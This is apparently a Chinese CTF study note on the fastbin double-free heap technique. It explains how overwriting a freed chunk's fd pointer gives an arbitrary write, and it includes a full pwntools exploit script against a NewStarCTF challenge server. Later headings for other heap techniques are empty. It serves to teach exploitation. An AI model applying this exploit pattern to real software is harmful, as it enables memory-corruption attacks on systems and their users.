Fastbin
Double Free
以buuoj NewStarCTF 2023 week 4 Double为例
目的是向任意地址写入值
经典的网图
原理在于,三次free之后,第一次把chunk1 malloc出来之后,可以对content部分进行编辑,而content对于第三次malloc出来的chunk1是fd,这个fd在第四次malloc时,会从自己写的地址进行malloc,然后这个malloc出来的块的content又是可编辑的。这样就实现了任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
p = remote("node4.buuoj.cn", 25942)
def add(idx, content): p.recvuntil(b">\n") p.sendline(b"1") p.recvuntil(b"Input idx\n") p.sendline(idx) p.recvuntil(b"Input content\n") p.sendline(content)
def free(idx): p.recvuntil(b">\n") p.sendline(b"2") p.recvuntil(b"Input idx\n") p.sendline(idx)
def check(): p.recvuntil(b">\n") p.sendline(b"3") add(b'1', b"aaaa") add(b'2', b"bbbb") free(b'1') free(b'2') free(b'1')
add(b'1', p64(0x602070 - 16))
add(b'2', b'dddd')
add(b'3', b'eeee')
add(b'4', p64(1638))
check()
p.interactive()
|
House of Spirit
Alloc to Stack
Arbitary Alloc